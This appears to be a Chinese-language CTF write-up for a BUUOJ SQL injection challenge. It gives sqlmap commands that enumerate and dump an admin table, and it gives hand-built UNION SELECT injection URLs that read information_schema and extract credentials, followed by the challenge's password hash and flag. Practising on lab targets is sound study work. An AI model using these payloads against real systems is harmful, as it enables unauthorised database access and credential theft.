一、题面
二、考点
基础的sql注入。
三、解题
对关键的数据库请求抓包。
对关键的数据库请求抓包。
根据抓包内容拼接完整的请求url:
http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=1
3.1 sqlmap
- 列出数据库
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 --dbs
- 指定数据库名,列出表名
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 -D news --tables
- 指定表名,列出字段名
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 -D news -T admin --columns
- 列出数据表的数据
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 -D news -T admin --dump
838862827662e69881102efeb9b35cbd 可能是hash值,但也可能就是原始的密码。
登录,获得flag。
3.2 手工注入
- 注入点判断:(注入点的位置和注入的手法)
存在sql注入漏洞,且存在布尔状态,可以进行布尔盲注。
存在时延状态,可以进行时间盲注。
没有报错信息,可能无法进行报错注入。
存在sql注入漏洞的情况下, 存在回显,有先考虑联合查询注入。
- 判断字段个数
字段个数为2.
- 回显位置
数据库为mysql。
- 获取表名
http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=-1%20union%20select%20table_name,version()%20from%20information_schema.tables%20where%20table_schema=database()--+
表名:admin
- 获取字段名
db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=-1 union select group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='admin' --+
- 获取值
http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=-1%20union%20select%20group_concat(username,password),version()%20from%20admin--+
密码:838862827662e69881102efeb9b35cbd
- 登录获取flag
flag
flag{8d21ee6f-7b64-4895-961f-d120a205302c}